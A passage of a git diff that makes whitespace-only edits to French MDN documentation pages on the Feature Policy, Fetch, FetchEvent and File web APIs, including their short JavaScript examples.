+11,7 @@ translation_of: Web/API/FeaturePolicy/allowedFeatures --- {{APIRef("Feature Policy API")}}{{SeeCompatTable}} -La méthode **`allowedFeatures()`** de l'interface {{DOMxRef("FeaturePolicy")}} retourne la liste des noms des directives de fonctionnalités permises par ce Feature Policy. Elle permet l'introspection de directives spécifiques du Feature Policy sur lequel la méthode est appelée. Ainsi, la méthode `allowedFeatures()` retourne un sous-ensemble de la liste des noms de directives retournée par {{DOMxRef("FeaturePolicy.features", "features()")}}. +La méthode **`allowedFeatures()`** de l'interface {{DOMxRef("FeaturePolicy")}} retourne la liste des noms des directives de fonctionnalités permises par ce Feature Policy. Elle permet l'introspection de directives spécifiques du Feature Policy sur lequel la méthode est appelée. Ainsi, la méthode `allowedFeatures()` retourne un sous-ensemble de la liste des noms de directives retournée par {{DOMxRef("FeaturePolicy.features", "features()")}}. ## Syntaxe @@ -37,7 +37,7 @@ const featurePolicy = document.featurePolicy const permissions = featurePolicy.allowedFeatures() for (const directive of permissions) - console.log(directive) + console.log(directive) ``` ## Spécifications diff --git a/files/fr/web/api/featurepolicy/allowsfeature/index.md b/files/fr/web/api/featurepolicy/allowsfeature/index.md index 20c6aec1a6..74dc998ede 100644 --- a/files/fr/web/api/featurepolicy/allowsfeature/index.md +++ b/files/fr/web/api/featurepolicy/allowsfeature/index.md @@ -26,7 +26,7 @@ ou Le nom de la directive associée à une fonctionnalité. -#### `Origine` {{Optional_inline}} +#### `Origine` {{Optional_inline}} Une URL d'origine sur lequel vérifier la disponibilité de la fonctionnalité. Si omise, sa valeur par défaut est utilisée. @@ -36,7 +36,7 @@ Un {{JSxRef("Boolean")}} valant `true` si et seulement si la fonctionnalité est ## Exemple -Cet exemple demande au document s'il lui est permis par Feature Policy d'utiliser l'API Camera (appareil photo). Notez que l'API Camera pourrait être restreinte par l'API Permissions si l'utilisateur n'a pas encore accordé la permission. +Cet exemple demande au document s'il lui est permis par Feature Policy d'utiliser l'API Camera (appareil photo). Notez que l'API Camera pourrait être restreinte par l'API Permissions si l'utilisateur n'a pas encore accordé la permission. ```js // D'abord, récupère le Feature Policy @@ -46,10 +46,10 @@ const featurePolicy = document.featurePolicy const estPermise = featurePolicy.allowsFeature("camera") if (estPermise) - console.log("FP autorise l'appareil photo.") + console.log("FP autorise l'appareil photo.") else - console.log("FP n'autorise pas l'appareil photo.") + console.log("FP n'autorise pas l'appareil photo.") ``` ## Spécifications diff --git a/files/fr/web/api/featurepolicy/features/index.md b/files/fr/web/api/featurepolicy/features/index.md index 19302a0345..7965533f4d 100644 --- a/files/fr/web/api/featurepolicy/features/index.md +++ b/files/fr/web/api/featurepolicy/features/index.md @@ -37,7 +37,7 @@ const fonctionnalitésSupportées = featurePolicy.features() // Affiche chaque directive dans la console for (const directive of fonctionnalitésSupportées) - console.log(directive) + console.log(directive) ``` ## Spécification diff --git a/files/fr/web/api/featurepolicy/getallowlistforfeature/index.md b/files/fr/web/api/featurepolicy/getallowlistforfeature/index.md index cf155f8a07..ba5e463e28 100644 --- a/files/fr/web/api/featurepolicy/getallowlistforfeature/index.md +++ b/files/fr/web/api/featurepolicy/getallowlistforfeature/index.md @@ -32,7 +32,7 @@ La fonction jettera un avertissement si la directive de Feature Policy demandée ## Exemple -Cet exemple affiche toutes les origines à qui la directive Feature Policy permet d'utiliser l'API Camera (appareil photo). Notez que l'API Camera pourrait être restreinte par l'API Permissions si l'utilisateur n'a pas encore accordé la permission. +Cet exemple affiche toutes les origines à qui la directive Feature Policy permet d'utiliser l'API Camera (appareil photo). Notez que l'API Camera pourrait être restreinte par l'API Permissions si l'utilisateur n'a pas encore accordé la permission. ```js // D'abord, récupère l'objet Feature Policy @@ -42,7 +42,7 @@ const featurePolicy = document.featurePolicy const listePermissions = featurePolicy.getAllowlistForFeature("camera") for (const origine of listePermissions) - console.log(origine) + console.log(origine) ``` ## Spécification diff --git a/files/fr/web/api/federatedcredential/index.md b/files/fr/web/api/federatedcredential/index.md index 58a720bd98..37c3aadf39 100644 --- a/files/fr/web/api/federatedcredential/index.md +++ b/files/fr/web/api/federatedcredential/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/FederatedCredential --- {{SeeCompatTable}}{{APIRef("Credential Management API")}} -L'interface **`FederatedCredential`**, rattachée à l'[API Credential Management](/en-US/docs/Web/API/Credential_Management_API), donne des détails quant aux informations d'authentification fournies par un fournisseur d'identité fédéré. Un fournisseur d'identité fédéré est une entité en laquelle un site web à confiance pour authentifier un utilisateur et qui fournit une API à cet effet. [OpenID Connect](http://openid.net/developers/specs/) est un exemple de _framework_ pour construire un fournisseur d'identité fédéré. +L'interface **`FederatedCredential`**, rattachée à l'[API Credential Management](/en-US/docs/Web/API/Credential_Management_API), donne des détails quant aux informations d'authentification fournies par un fournisseur d'identité fédéré. Un fournisseur d'identité fédéré est une entité en laquelle un site web à confiance pour authentifier un utilisateur et qui fournit une API à cet effet. [OpenID Connect](http://openid.net/developers/specs/) est un exemple de _framework_ pour construire un fournisseur d'identité fédéré. Pour les navigateurs qui le prennent en charge, une instance de cette interface pourra être passée comme propriété `credential` de l'objet `init` pour la méthode globale {{domxref('fetch')}}. @@ -23,7 +23,7 @@ Pour les navigateurs qui le prennent en charge, une instance de cette interface _Hérite des propriétés de l'interface parente : {{domxref("Credential")}}._ -- {{domxref("FederatedCredential.provider")}} {{readonlyInline}} +- {{domxref("FederatedCredential.provider")}} {{readonlyInline}} - : Une chaîne de caractères {{domxref("USVString")}} qui contient l'information sur le fournisseur d'authentification fédéré. ### Gestionnaires d'évènements diff --git a/files/fr/web/api/fetch/index.md b/files/fr/web/api/fetch/index.md index a6820a8437..e3ebd3c500 100644 --- a/files/fr/web/api/fetch/index.md +++ b/files/fr/web/api/fetch/index.md @@ -16,9 +16,9 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/fetch --- {{APIRef("Fetch")}} -La méthode **`fetch()`** du mixin {{domxref("WindowOrWorkerGlobalScope")}} démarre le chargement d'une ressource sur le réseau et retourne une promesse qui est résolue dès que la réponse est disponible. La promesse résoud l'objet {{domxref("Response")}} représentant la réponse de votre requête. Cette promesse n'échoue pas en cas d'erreur HTTP, elle n'échoue que sur les problèmes de réseau. Vous devez utiliser un gestionnaire `then` pour identifier les erreurs HTTP. +La méthode **`fetch()`** du mixin {{domxref("WindowOrWorkerGlobalScope")}} démarre le chargement d'une ressource sur le réseau et retourne une promesse qui est résolue dès que la réponse est disponible. La promesse résoud l'objet {{domxref("Response")}} représentant la réponse de votre requête. Cette promesse n'échoue pas en cas d'erreur HTTP, elle n'échoue que sur les problèmes de réseau. Vous devez utiliser un gestionnaire `then` pour identifier les erreurs HTTP. -`WindowOrWorkerGlobalScope` est aussi bien implémenté par {{domxref("Window")}} que par {{domxref("WorkerGlobalScope")}}, ce qui signifie que la méthode `fetch()` est disponible dans la plupart des cas où vous pourriez en avoir besoin. +`WindowOrWorkerGlobalScope` est aussi bien implémenté par {{domxref("Window")}} que par {{domxref("WorkerGlobalScope")}}, ce qui signifie que la méthode `fetch()` est disponible dans la plupart des cas où vous pourriez en avoir besoin. Une promesse {{domxref("GlobalFetch.fetch","fetch()")}} n'est rejetée que quand un problème de réseau est rencontré, même si en réalité cela signifie généralement qu'il y a un problème de permissions ou quelque chose de similaire. La promesse ne sera pas rejetée en cas d'erreur HTTP (`404`, etc.) Pour cela, un gestionnaire `then()` doit vérifier que la propriété {{domxref("Response.ok")}} ait bien pour valeur `true` et/ou la valeur de la propriété {{domxref("Response.status")}}. @@ -58,7 +58,7 @@ La méthode `fetch()` est contrôlée par la directive `connect-src` de l'entêt - `redirect` - : Le mode de redirection à adopter pour cette requête : `follow` (suivre les redirections automatiquement), `error` (abandonner avec une erreur si une redirection a lieu), ou `manual` (gérer les redirections manuellement). Dans Chrome, la valeur par défaut était `follow` avant Chrome 47, mais à partir de cette version, c'est `manual`. - `referrer` - - : Un USVString qui vaut `no-referrer`, `client`, ou qui contient une URL. La valeur par défaut est `client`. + - : Un USVString qui vaut `no-referrer`, `client`, ou qui contient une URL. La valeur par défaut est `client`. - `referrerPolicy` - : Spécifie la valeur de l'entête HTTP referer. Cela peut être `no-referrer`, `no-referrer-when-downgrade`, `origin`, `origin-when-cross-origin` ou `unsafe-url`. - `integrity` diff --git a/files/fr/web/api/fetch_api/basic_concepts/index.md b/files/fr/web/api/fetch_api/basic_concepts/index.md index 83cc79609d..120995ff3a 100644 --- a/files/fr/web/api/fetch_api/basic_concepts/index.md +++ b/files/fr/web/api/fetch_api/basic_concepts/index.md @@ -61,7 +61,7 @@ When a new {{domxref("Headers")}} object is created using the {{domxref("Headers </tbody> </table> -A header's guard affects the {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, and {{domxref("Headers.append","append()")}} methods which change the header's contents. A `TypeError` is thrown if you try to modify a {{domxref("Headers")}} object whose guard is `immutable`. However, the operation will work if +A header's guard affects the {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, and {{domxref("Headers.append","append()")}} methods which change the header's contents. A `TypeError` is thrown if you try to modify a {{domxref("Headers")}} object whose guard is `immutable`. However, the operation will work if - guard is `request` and the header _name_ isn't a {{Glossary("forbidden header name")}} . - guard is `request-no-cors` and the header _name_/_value_ is a {{Glossary("simple header")}} . diff --git a/files/fr/web/api/fetch_api/index.md b/files/fr/web/api/fetch_api/index.md index 7a6a5d82d2..0d46a66799 100644 --- a/files/fr/web/api/fetch_api/index.md +++ b/files/fr/web/api/fetch_api/index.md @@ -13,7 +13,7 @@ Fetch fournit une définition générique des objets {{domxref("Request")}} et { Elle fournit également une définition pour des concepts associés tels que CORS et la sémantique de l'en-tête HTTP _origin_, supplantant les définitions précédemment proposées ailleurs. -Pour effectuer une requête et obtenir une ressource, utilisez la méthode {{domxref("GlobalFetch.fetch")}}. Elle est implémentée dans de multiples interfaces, et en particulier dans {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}. Ce qui la rend disponible de la même manière dans tout contexte où vous souhaiteriez récupérer des ressources. +Pour effectuer une requête et obtenir une ressource, utilisez la méthode {{domxref("GlobalFetch.fetch")}}. Elle est implémentée dans de multiples interfaces, et en particulier dans {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}. Ce qui la rend disponible de la même manière dans tout contexte où vous souhaiteriez récupérer des ressources. La méthode `fetch()` prend un argument obligatoire, le chemin vers la ressource souhaitée. Elle retourne une promesse qui résout la {{domxref("Response")}} de cette requête, qu'elle soit couronnée de succès ou non. Vous pouvez aussi optionnellement lui passer un objet d'options `init` comme second argument (voir {{domxref("Request")}}.) @@ -21,16 +21,16 @@ Une fois que la {{domxref("Response")}} a été retournée, il y a un ensemble d Vous pourriez créer une requête et une réponse directement en utilisant les constructeurs {{domxref("Request.Request","Request()")}} et {{domxref("Response.Response","Response()")}}, même s'il est improbable que vous procédiez ainsi. Il est plus probable cependant que leur création résulte des actions d'une autre API (par exemple, {{domxref("FetchEvent.respondWith")}} des _service workers_). -> **Note :** Pour en savoir plus sur l'utilisation des fonctionnalités de l'API Fetch et en approfondir les concepts, consulter respectivement [Utiliser Fetch](/en-US/docs/Web/API/Fetch_API/Using_Fetch) et [Fetch, les concepts de base](/en-US/docs/Web/API/Fetch_API/Basic_concepts). +> **Note :** Pour en savoir plus sur l'utilisation des fonctionnalités de l'API Fetch et en approfondir les concepts, consulter respectivement [Utiliser Fetch](/en-US/docs/Web/API/Fetch_API/Using_Fetch) et [Fetch, les concepts de base](/en-US/docs/Web/API/Fetch_API/Basic_concepts). ### Interrompre un fetch -Les navigateurs ont commencé à ajouter le support expérimental des interfaces {{DOMxRef("AbortController")}} et {{DOMxRef("AbortSignal")}} (connue aussi sous le nom d'API d'interruption), qui autorisent les opérations telles que Fetch et XHR à être interrompue si elles ne sont pas encore achevées. Voir les pages des interfaces pour plus de détails. +Les navigateurs ont commencé à ajouter le support expérimental des interfaces {{DOMxRef("AbortController")}} et {{DOMxRef("AbortSignal")}} (connue aussi sous le nom d'API d'interruption), qui autorisent les opérations telles que Fetch et XHR à être interrompue si elles ne sont pas encore achevées. Voir les pages des interfaces pour plus de détails. ## Les interfaces de Fetch - {{domxref("GlobalFetch")}} - - : La méthode `fetch()` est utilisée pour récuperer une ressource. + - : La méthode `fetch()` est utilisée pour récuperer une ressource. - {{domxref("Headers")}} - : Représente les en-têtes de requête et de réponse, vous permettant de les consulter et de prendre différentes décisions en fonction du résultat. - {{domxref("Request")}} @@ -41,7 +41,7 @@ Les navigateurs ont commencé à ajouter le support expérimental des interfaces ## Mixin de Fetch - {{domxref("Body")}} - - : Fournit les méthodes relatives au corps de la requête/réponse, vous permettant de déclarer quel est son type de contenu et comment il doit être manipulé. + - : Fournit les méthodes relatives au corps de la requête/réponse, vous permettant de déclarer quel est son type de contenu et comment il doit être manipulé. ## Spécifications diff --git a/files/fr/web/api/fetch_api/using_fetch/index.md b/files/fr/web/api/fetch_api/using_fetch/index.md index 919d9496d2..922a290288 100644 --- a/files/fr/web/api/fetch_api/using_fetch/index.md +++ b/files/fr/web/api/fetch_api/using_fetch/index.md @@ -17,7 +17,7 @@ translation_of: Web/API/Fetch_API/Using_Fetch L'[API Fetch](/fr/docs/Web/API/Fetch_API) fournit une interface JavaScript pour l'accès et la manipulation des parties de la pipeline HTTP, comme les requêtes et les réponses. Cela fournit aussi une méthode globale {{domxref("GlobalFetch.fetch","fetch()")}} qui procure un moyen facile et logique de récupérer des ressources à travers le réseau de manière asynchrone. -Ce genre de fonctionnalité était auparavant réalisé avec {{domxref("XMLHttpRequest")}}. Fetch fournit une meilleure alternative qui peut être utilisée facilement par d’autres technologies comme {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch fournit aussi un endroit unique et logique pour la définition d'autres concepts liés à HTTP comme CORS et les extensions d'HTTP. +Ce genre de fonctionnalité était auparavant réalisé avec {{domxref("XMLHttpRequest")}}. Fetch fournit une meilleure alternative qui peut être utilisée facilement par d’autres technologies comme {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch fournit aussi un endroit unique et logique pour la définition d'autres concepts liés à HTTP comme CORS et les extensions d'HTTP. ## L'état actuel du support par les navigateurs @@ -48,7 +48,7 @@ const myImage = document.querySelector('img'); fetch('flowers.jpg') .then(function(response) { - return response.blob(); + return response.blob(); }) .then(function(myBlob) { const objectURL = URL.createObjectURL(myBlob); @@ -56,7 +56,7 @@ fetch('flowers.jpg') }); ``` -Ici nous récupérons une image à travers le réseau et l'insérons dans un élément {{htmlelement("img")}}. L'utilisation la plus simple de `fetch()` prend un argument — le chemin de la ressource que nous souhaitons récupérer — et retourne une promesse (promise) contenant, en réponse, un objet (de type {{domxref("Response")}}). +Ici nous récupérons une image à travers le réseau et l'insérons dans un élément {{htmlelement("img")}}. L'utilisation la plus simple de `fetch()` prend un argument — le chemin de la ressource que nous souhaitons récupérer — et retourne une promesse (promise) contenant, en réponse, un objet (de type {{domxref("Response")}}). Bien sûr, il s'agit seulement d'une réponse HTTP, pas exactement de l'image. Pour extraire le contenu de l'image de la réponse, nous utilisons la méthode {{domxref("Body.blob","blob()")}} (définie sur le mixin {{domxref("Body")}}, qui est implémenté autant par les objets {{domxref("Request")}} que par les objets {{domxref("Response")}}). @@ -68,7 +68,7 @@ Les requêtes Fetch sont controllées par la directive `connect-src` du [Content ### Fournir des options à la requête -La méthode `fetch()` accepte un second paramètre, optionnel ; un objet `init` qui vous permet de contrôler un certain nombre de réglages : +La méthode `fetch()` accepte un second paramètre, optionnel ; un objet `init` qui vous permet de contrôler un certain nombre de réglages : ```js var myHeaders = new Headers(); @@ -198,7 +198,7 @@ Un bon cas d'utilisation des en-têtes est de vérifier que le type de contenu r ```js fetch(myRequest).then(function(response) { - var contentType = response.headers.get("content-type"); + var contentType = response.headers.get("content-type"); if(contentType && contentType.indexOf("application/json") !== -1) { return response.json().then(function(json) { // traitement du JSON @@ -280,7 +280,7 @@ fetch("/login", { }) ``` -Les Requêtes et Réponses (et par extension la fonction `fetch()`), vont tenter de déterminer le type de contenu. Une requête va automatiquement définir un en-tête `Content-Type` si rien n'est défini dans le dictionnaire \[NDLT: configuration d'initialisation]. +Les Requêtes et Réponses (et par extension la fonction `fetch()`), vont tenter de déterminer le type de contenu. Une requête va automatiquement définir un en-tête `Content-Type` si rien n'est défini dans le dictionnaire \[NDLT: configuration d'initialisation]. ## Spécifications diff --git a/files/fr/web/api/fetchevent/index.md b/files/fr/web/api/fetchevent/index.md index 14746adbfe..f87acd105b 100644 --- a/files/fr/web/api/fetchevent/index.md +++ b/files/fr/web/api/fetchevent/index.md @@ -5,43 +5,43 @@ translation_of: Web/API/FetchEvent --- {{APIRef("Service Workers API")}}{{ SeeCompatTable() }} -Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}}, `FetchEvent` représente une action de récupération qui est délivrée sur la {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}. Il contient des informations relatives à la requête et la réponse associée, et fourni la méthode {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} , qui permet de renvoyer une réponse arbitraire à la page controlée. +Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}}, `FetchEvent` représente une action de récupération qui est délivrée sur la {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}. Il contient des informations relatives à la requête et la réponse associée, et fourni la méthode {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} , qui permet de renvoyer une réponse arbitraire à la page controlée. ## Constructeur - {{domxref("FetchEvent.FetchEvent()")}} - - : Crée un nouvel objet `FetchEvent`. + - : Crée un nouvel objet `FetchEvent`. ## Propriétés _Hérite de son ancêtre, {{domxref("Event")}}_. -- {{domxref("FetchEvent.isReload")}} {{readonlyInline}} - - : Retourne un {{jsxref("Boolean")}} qui est à `true` si l'évènement a été délivré avec l'intention de recharger la page, ou `false` sinon. Par exemple, cliquer sur le bouton recharger du navigateur est considéré comme une intention de recharger la page, tandis que cliquer sur un lien ou sur le bouton précédent du navigateur n'est pas considéré comme tel. -- {{domxref("FetchEvent.request")}} {{readonlyInline}} - - : Retourne la {{domxref("Request")}} qui a déclenché l'évènement. -- {{domxref("FetchEvent.clientId")}} {{readonlyInline}} - - : Retourne l'id du {{domxref("Client")}} controlé par le service worker en cours. +- {{domxref("FetchEvent.isReload")}} {{readonlyInline}} + - : Retourne un {{jsxref("Boolean")}} qui est à `true` si l'évènement a été délivré avec l'intention de recharger la page, ou `false` sinon. Par exemple, cliquer sur le bouton recharger du navigateur est considéré comme une intention de recharger la page, tandis que cliquer sur un lien ou sur le bouton précédent du navigateur n'est pas considéré comme tel. +- {{domxref("FetchEvent.request")}} {{readonlyInline}} + - : Retourne la {{domxref("Request")}} qui a déclenché l'évènement. +- {{domxref("FetchEvent.clientId")}} {{readonlyInline}} + - : Retourne l'id du {{domxref("Client")}} controlé par le service worker en cours. ### Propriétés dépréciées -- {{domxref("FetchEvent.client")}} {{readonlyInline}} - - : Retourne le {{domxref("Client")}} controlé par le service worker en cours. +- {{domxref("FetchEvent.client")}} {{readonlyInline}} + - : Retourne le {{domxref("Client")}} controlé par le service worker en cours. ## Méthodes _Hérite de son parent,_ _{{domxref("ExtendableEvent")}}_. - {{domxref("FetchEvent.respondWith()")}} - - : Promesse qui est résolue en retournant une {{domxref("Response")}} ou une [erreur réseau](http://fetch.spec.whatwg.org/#concept-network-error) à [`Fetch`](http://fetch.spec.whatwg.org/#concept-fetch). + - : Promesse qui est résolue en retournant une {{domxref("Response")}} ou une [erreur réseau](http://fetch.spec.whatwg.org/#concept-network-error) à [`Fetch`](http://fetch.spec.whatwg.org/#concept-fetch). - {{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}} - - : Etend la durée de vie de l'évènement. Cette méthode est destinée à être appelée dans l'{{event("Event_handlers", "event handler")}} {{event("install")}} pour le worker {{domxref("ServiceWorkerRegistration.installing", "installing")}}, et dans l'{{event("Event_handlers", "event handler")}} {{event("active")}} pour le worker {{domxref("ServiceWorkerRegistration.active", "active")}}. + - : Etend la durée de vie de l'évènement. Cette méthode est destinée à être appelée dans l'{{event("Event_handlers", "event handler")}} {{event("install")}} pour le worker {{domxref("ServiceWorkerRegistration.installing", "installing")}}, et dans l'{{event("Event_handlers", "event handler")}} {{event("active")}} pour le worker {{domxref("ServiceWorkerRegistration.active", "active")}}. ## Exemples -Ce extrait de code provient de l'exemple [Service Worker Fetch](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js) ([lancer l'exemple dans le navigateur](https://googlechrome.github.io/samples/service-worker/prefetch/)). Dans une partie antérieure du code, un {{domxref("InstallEvent")}} contrôle la mise en cache de plusieurs ressources. Le gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}} attends ensuite l'évènement {{event("fetch")}} . Une fois déclenché, {{domxref("FetchEvent.respondWith()")}} retourne une promesse à la page contrôlée. Cette promesse est résolue avec comme valeur de retour la première requête d'URL qui correspond dans l'objet {{domxref("Cache")}}. Si aucune correspondance n'est trouvée (i.e. la ressource n'a pas été mise en cache pendant la phase d'installation), le code va récupérer une réponse depuis le réseau. +Ce extrait de code provient de l'exemple [Service Worker Fetch](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js) ([lancer l'exemple dans le navigateur](https://googlechrome.github.io/samples/service-worker/prefetch/)). Dans une partie antérieure du code, un {{domxref("InstallEvent")}} contrôle la mise en cache de plusieurs ressources. Le gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}} attends ensuite l'évènement {{event("fetch")}} . Une fois déclenché, {{domxref("FetchEvent.respondWith()")}} retourne une promesse à la page contrôlée. Cette promesse est résolue avec comme valeur de retour la première requête d'URL qui correspond dans l'objet {{domxref("Cache")}}. Si aucune correspondance n'est trouvée (i.e. la ressource n'a pas été mise en cache pendant la phase d'installation), le code va récupérer une réponse depuis le réseau. -Le code gère aussi les exceptions émises depuis l'opération {{domxref("ServiceWorkerGlobalScope.fetch()")}}. A noter que qu'une réponse d'erreur HTTP (e.g., 404) ne déclenche pas d'exception. Elle retourne un objet de réponse normal avec le code d'erreur approprié. +Le code gère aussi les exceptions émises depuis l'opération {{domxref("ServiceWorkerGlobalScope.fetch()")}}. A noter que qu'une réponse d'erreur HTTP (e.g., 404) ne déclenche pas d'exception. Elle retourne un objet de réponse normal avec le code d'erreur approprié. ```js self.addEventListener('fetch', function(event) { diff --git a/files/fr/web/api/file/index.md b/files/fr/web/api/file/index.md index d5d6b5b6d7..ade4d94854 100644 --- a/files/fr/web/api/file/index.md +++ b/files/fr/web/api/file/index.md @@ -10,10 +10,10 @@ translation_of: Web/API/File L’interface **`File`** fournit des informations sur des fichiers et permet au code JavaScript d’une une page web d’accéder à leurs contenus. -Les objets `File` sont généralements obtenus à partir de : +Les objets `File` sont généralements obtenus à partir de : -- l’objet {{domxref("FileList")}} retourné lorsque qu’un utilisateur ou une utilisatrice sélectionne des fichiers grâce à un élément {{HTMLElement("input")}} ; -- l’objet {{domxref("DataTransfer")}} d’une opération de glisser-déposer ; +- l’objet {{domxref("FileList")}} retourné lorsque qu’un utilisateur ou une utilisatrice sélectionne des fichiers grâce à un élément {{HTMLElement("input")}} ; +- l’objet {{domxref("DataTransfer")}} d’une opération de glisser-déposer ; - l’API `mozGetAsFile()` de l’élément {{domxref("HTMLCanvasElement")}}. Dans Gecko, le code privilégié peut créer des objets `File` représentant tout fichier local sans nécessiter une interaction de l’utilisateur ou de l’utilisatrice (voir {{anch("Notes d’implémentation")}} pour plus d’informations.) @@ -40,7 +40,7 @@ Voir [Utiliser des fichiers à partir d'applications web](/fr/docs/Web/API/File/ - {{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}} - : Renvoie le chemin auquel l’URL du {{domxref("File")}} est relative. -`File` implémente {{domxref("Blob")}}, et ainsi possède les propriétés suivantes : +`File` implémente {{domxref("Blob")}}, et ainsi possède les propriétés suivantes : - {{domxref("File.size")}} {{readonlyinline}} - : Renvoie la taille du fichier en octets. @@ -49,7 +49,7 @@ Voir [Utiliser des fichiers à partir d'applications web](/fr/docs/Web/API/File/ ## Méthodes -_L’interface `File` ne définit aucune méthode, mais hérite des méthodes de l’interface {{domxref("Blob")}} :_ +_L’interface `File` ne définit aucune méthode, mais hérite des méthodes de l’interface {{domxref("Blob")}} :_ - {{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}} - : Renvoie un nouvel objet `Blob` contenant les données du blob source comprises dans l’intervalle d’octets spécifié. @@ -82,7 +82,7 @@ _L’interface `File` ne définit aucune méthode, mais hérite des méthodes de BlobPropertyBag properties ); -- Les propriétés et méthodes non standard suivantes ont été retirées de Gecko 7 {{geckoRelease("7.0")}} : {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Les propriétés standard {{domxref("File.name")}}, {{domxref("Blob.size")}}, et les méthodes de {{domxref("FileReader")}} devraient être utilisées à la place. +- Les propriétés et méthodes non standard suivantes ont été retirées de Gecko 7 {{geckoRelease("7.0")}} : {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Les propriétés standard {{domxref("File.name")}}, {{domxref("Blob.size")}}, et les méthodes de {{domxref("FileReader")}} devraient être utilisées à la place. ## Voir aussi diff --git a/files/fr/web/api/file/using_files_from_web_applications/index.md b/files/fr/web/api/file/using_files_from_web_applications/index.md index c602bf4d7e..7f44245d7a 100644 --- a/files/fr/web/api/file/using_files_from_web_applications/index.md +++ b/files/fr/web/api/file/using_files_from_web_applications/index.md @@ -12,11 +12,11 @@ translation_of: Web/API/File/Using_files_from_web_applications Grâce à l'API File ajoutée au DOM avec HTML5, il est maintenant possible depuis une page web de proposer à l'utilisateur de sélectionner des fichiers locaux, puis d'en lire le contenu. Cette sélection est possible en utilisant un élément HTML {{ HTMLElement("input") }} ou par glisser-déposer. -Vous pouvez utiliser si vous le souhaitez l'API DOM File depuis du code chrome d'extensions ou d'un autre navigateur ; notez cependant qu'il existe des fonctionnalités additionnelles auxquelles il vous faudra être attentif. Reportez-vous à [Using the DOM File API in chrome code](/en/Extensions/Using_the_DOM_File_API_in_chrome_code) pour plus de détails. +Vous pouvez utiliser si vous le souhaitez l'API DOM File depuis du code chrome d'extensions ou d'un autre navigateur ; notez cependant qu'il existe des fonctionnalités additionnelles auxquelles il vous faudra être attentif. Reportez-vous à [Using the DOM File API in chrome code](/en/Extensions/Using_the_DOM_File_API_in_chrome_code) pour plus de détails. ## Accéder au(x) fichier(s) sélectionné(s) -Examinez ce code HTML : +Examinez ce code HTML : ```html <input type="file" id="input"> @@ -26,13 +26,13 @@ L'API File permet d'accèder à la {{ domxref("FileList") }} contenant les objet Si l'utilisateur ne sélectionne qu'un seul fichier, on ne prendra en compte que le premier élément de la {{ domxref("FileList") }}. -Pour accéder à un fichier sélectionné en utilisant un sélecteur DOM classique : +Pour accéder à un fichier sélectionné en utilisant un sélecteur DOM classique : ```js var fichierSelectionne = document.getElementById('input').files[0]; ``` -Pour accèder à un fichier sélectionné en utilisant un sélecteur [jQuery](http://jquery.com/) : +Pour accèder à un fichier sélectionné en utilisant un sélecteur [jQuery](http://jquery.com/) : ```js var fichierSelectionne = $('#input').get(0).files[0]; @@ -40,29 +40,29 @@ var fichierSelectionne = $('#input').get(0).files[0]; var fichierSelectionne = $('#input')[0].files[0]; ``` -> **Note :** Si vous rencontrez une erreur "`files is undefined`" : vous n'avez pas sélectionné le bon élément HTML, en oubliant qu'un sélecteur jQuery renvoie une liste d'éléments DOM correspondants. Récupérez l'élément DOM pour appeler sa méthode "`files`". +> **Note :** Si vous rencontrez une erreur "`files is undefined`" : vous n'avez pas sélectionné le bon élément HTML, en oubliant qu'un sélecteur jQuery renvoie une liste d'éléments DOM correspondants. Récupérez l'élément DOM pour appeler sa méthode "`files`". ## Accéder au(x) fichier(s) sélectionné(s) sur un événement _change_ -Il est en outre possible (mais pas obligatoire) d'accéder à la {{ domxref("FileList") }} via l'événement `change` : +Il est en outre possible (mais pas obligatoire) d'accéder à la {{ domxref("FileList") }} via l'événement `change` : ```html <input type="file" id="input" onchange="handleFiles(this.files)"> ``` -La fonction `handleFiles()` est appelée avec un objet {{ domxref("FileList") }} contenant des objets {{ domxref("File") }} représentant les fichiers sélectionnés par l'utilisateur. +La fonction `handleFiles()` est appelée avec un objet {{ domxref("FileList") }} contenant des objets {{ domxref("File") }} représentant les fichiers sélectionnés par l'utilisateur. -Si vous souhaitez permettre à l'utilisateur de sélectionner plusieurs fichiers simmultanément, utilisez simplement l'attribut `multiple` de l'élément `input` : +Si vous souhaitez permettre à l'utilisateur de sélectionner plusieurs fichiers simmultanément, utilisez simplement l'attribut `multiple` de l'élément `input` : ```html <input type="file" id="input" multiple onchange="handleFiles(this.files)"> ``` -La liste de fichiers passée à la fonction `handleFiles()` contient dans ce cas un seul objet {{ domxref("File") }} pour chaque fichier sélectionné par l'utilisateur. +La liste de fichiers passée à la fonction `handleFiles()` contient dans ce cas un seul objet {{ domxref("File") }} pour chaque fichier sélectionné par l'utilisateur. ### Ajouter dynamiquement un gestionnaire d'événement _change_ -Dans le cas où votre champ input a été créé à l'aide d'une bibliothèque JavaScript comme [jQuery](http://www.jquery.com/), il vous faudra utiliser la méthode {{ domxref("EventTarget.addEventListener()") }} pour ajouter le gestionnaire d'événement `change`, comme cela : +Dans le cas où votre champ input a été créé à l'aide 